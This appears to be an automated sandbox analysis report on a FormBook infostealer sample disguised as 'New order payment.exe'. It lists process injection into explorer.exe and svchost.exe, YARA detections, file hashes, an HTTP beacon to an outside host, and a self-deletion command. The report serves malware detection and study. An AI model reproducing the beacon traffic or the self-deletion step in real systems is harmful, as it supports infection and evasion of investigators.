entsByTagName("script")[0];o.parentNode.insertBefore(e,o)}function baiduPush(t,e,o){window._hmt.push(["_trackEvent",t,

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.5 49799 160.153.136.3 80 C:\Windows\explorer.exe
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Statistics
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Click to jump to process

System Behavior

Timestamp
kBytes
transferred Direction Data

Oct 27, 2021 
16:20:59.425259113 CEST

9284 OUT GET /u9xn/?EvGDLnJ=FQ+FDzcRNFqTHDas5QzX/ZxEACq3iyWpSRLff56TNweY9Uo4XxUeKhcbnwpchSkctfqz&5j
=0BKPgh7X4n HTTP/1.1
Host: www.hanansalman.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 27, 2021 
16:20:59.480664968 CEST

9284 IN HTTP/1.1 400 Bad Request
Connection: close

File ActivitiesFile Activities

Start time: 16:18:59

Start date: 27/10/2021

Path: C:\Users\user\Desktop\New order payment.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\New order payment.exe' 

Imagebase: 0x400000

File size: 254147 bytes

MD5 hash: 0C301355B11C3BC570D18B02BB7C99D8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.247641891.000000000F020000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000000.00000002.247641891.000000000F020000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.247641891.000000000F020000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Analysis Process: New order payment.exe PID: 4912 Parent PID: 6088Analysis Process: New order payment.exe PID: 4912 Parent PID: 6088

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read
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File ActivitiesFile Activities

Start time: 16:19:00

Start date: 27/10/2021

Path: C:\Users\user\Desktop\New order payment.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\New order payment.exe' 

Imagebase: 0x400000

File size: 254147 bytes

MD5 hash: 0C301355B11C3BC570D18B02BB7C99D8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000000.242280260.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000000.242280260.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000000.242280260.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.299937698.00000000008B0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000001.00000002.299937698.00000000008B0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.299937698.00000000008B0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000000.243344701.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000000.243344701.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000000.243344701.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000001.243811389.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000001.243811389.0000000000400000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000001.243811389.0000000000400000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.299764857.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.299764857.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.299764857.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.299991453.0000000000910000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.299991453.0000000000910000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.299991453.0000000000910000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Analysis Process: New order payment.exe PID: 2372 Parent PID: 4912Analysis Process: New order payment.exe PID: 2372 Parent PID: 4912

General

File ReadFile Read
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File ActivitiesFile Activities

Start time: 16:19:05

Start date: 27/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff693d90000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000000.276617394.000000000FA2C000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000000.276617394.000000000FA2C000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000000.276617394.000000000FA2C000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000000.289468709.000000000FA2C000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000000.289468709.000000000FA2C000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000000.289468709.000000000FA2C000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

Start time: 16:19:26

Start date: 27/10/2021

Path: C:\Windows\SysWOW64\svchost.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\svchost.exe

Imagebase: 0x9b0000

File size: 44520 bytes

MD5 hash: FA6C268A5B5BDA067A901764D203D433

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: explorer.exe PID: 3472 Parent PID: 2372Analysis Process: explorer.exe PID: 3472 Parent PID: 2372

General

Analysis Process: svchost.exe PID: 2600 Parent PID: 3472Analysis Process: svchost.exe PID: 2600 Parent PID: 3472

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000E.00000002.502244762.0000000002D90000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000E.00000002.502244762.0000000002D90000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000E.00000002.502244762.0000000002D90000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000E.00000002.501581822.0000000000C50000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000E.00000002.501581822.0000000000C50000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000E.00000002.501581822.0000000000C50000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000E.00000002.502016177.0000000002C90000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000E.00000002.502016177.0000000002C90000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000E.00000002.502016177.0000000002C90000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 16:19:31

Start date: 27/10/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\New order payment.exe'

Imagebase: 0x150000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 16:19:32

Start date: 27/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

File ReadFile Read

Analysis Process: cmd.exe PID: 6196 Parent PID: 2600Analysis Process: cmd.exe PID: 6196 Parent PID: 2600

General

Analysis Process: conhost.exe PID: 6204 Parent PID: 6196Analysis Process: conhost.exe PID: 6204 Parent PID: 6196

General
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Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
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